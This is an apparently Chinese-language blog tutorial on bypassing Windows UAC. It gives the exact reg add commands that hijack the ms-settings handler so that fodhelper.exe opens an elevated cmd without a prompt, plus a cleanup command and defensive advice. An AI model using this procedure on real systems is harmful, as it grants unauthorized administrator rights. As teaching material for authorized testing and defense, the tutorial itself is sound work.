UAC绕过实战教程

极客

UAC绕过实战教程:一次真实的提权踩坑记录,看完少走弯路!

说真的,写这篇 UAC绕过实战教程 之前我犹豫了好久,为啥?因为这玩意儿吧,网上教程一抓一大把,但真正能跑通的、讲人话的,嘿,还真不多!我自己当初学的时候,那叫一个头大——照着文档敲命令,结果弹窗一堆,要么就是权限压根没提上去,气得我差点砸键盘,所以今天这篇 UAC绕过实战教程,我就打算用大白话,把我踩过的坑、绕过的弯,全都给你捋一遍,放心,不整那些虚头巴脑的术语堆砌,咱就实打实地聊。

UAC绕过实战教程

先搞明白:UAC到底是个啥玩意儿?

哎,别急着上手,咱得先弄明白对手是谁对吧?UAC,全称用户账户控制(User Account Control),微软从Vista开始塞进来的一个安全机制,简单说就是:你哪怕登录的是管理员账户,默认也是"降权"运行的,想干点敏感操作?弹个框问你"允不允许",烦是烦了点,但确实挡住了一大批恶意软件。

但是呢,UAC绕过实战教程 的核心思路其实就一句话:想办法让一个"白名单"程序替我们干活,因为系统对一些微软签名的程序是"信任"的,它们启动时自动继承高权限,压根不弹窗,我们要做的,借刀杀人"——哦不,是"借壳提权"。

实战环境准备,别嫌啰嗦

我用的环境是 Windows 10 专业版(21H2),普通管理员账户,UAC 默认级别,工具嘛,就一个 fodhelper.exe——这货是 Windows 自带的"功能发现助手",签名合法、自动提权、不弹窗,简直是 UAC绕过实战教程 里的"明星选手"。

小提醒:动手前一定在虚拟机里搞!别拿自己主力机瞎折腾,我有个朋友(真不是我)第一次试的时候把注册表搞崩了,重装系统花了一下午,哭都来不及 😂

核心操作:注册表劫持那点事儿

好了,重头戏来了。fodhelper.exe 启动时会去读注册表里的 HKCU\Software\Classes\ms-settings\shell\open\command 这个键,妙就妙在——这个位置普通用户就能写!系统压根没想到有人会在这儿动手脚,哈哈。

具体步骤我给你列清楚:

  1. 先往那个路径下写个 DelegateExecute 空值(这步千万别漏,漏了就不触发,我当初就卡这儿半小时,血泪教训啊!)
  2. 再把 Default 值设成我们要执行的命令,cmd.exe
  3. 然后运行 fodhelper.exe

命令大概长这样(cmd 里敲):

reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
reg add "HKCU\Software\Classes\ms-settings\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
fodhelper.exe

敲完回车那一瞬间——哎哟,一个 高权限的 cmd 窗口 就蹦出来了!没有弹窗、没有提示,丝滑得让人不敢相信,这就是这篇 UAC绕过实战教程 最爽的地方,第一次成功的时候我盯着屏幕愣了好几秒,心想"就这?就这?!"

别忘了善后,不然留尾巴

用完记得把注册表清干净啊朋友们!

reg delete "HKCU\Software\Classes\ms-settings" /f

不然下次你正常用系统功能都可能出幺蛾子,我见过有人忘了清理,结果"设置"打不开,还以为系统坏了,折腾半天才发现是自己埋的雷,笑死。

说点掏心窝子的话

写完这篇 UAC绕过实战教程,我得强调一句:这技术只能用在授权测试和自己的实验环境里! 拿去干坏事,那是违法的,别怪我没提醒,其实学 UAC 绕过的真正价值,是让你理解 Windows 权限模型的边界在哪、防御该怎么做——比如企业环境下把 UAC 调到最高级别、监控注册表异常写入,这些才是正经用途。

好啦,这篇 UAC绕过实战教程 就先唠到这儿,如果你跟着跑通了,恭喜你;要是卡在哪一步,评论区喊我一声,咱一起看看,技术这东西嘛,就是多动手、多踩坑,踩多了自然就熟了,下次我再整点别的实战干货,记得常来看看哈! 🔧

文章版权声明:除非注明,否则均为极客网安-咸鱼原创文章,转载或复制请以超链接形式并注明出处。

目录[+]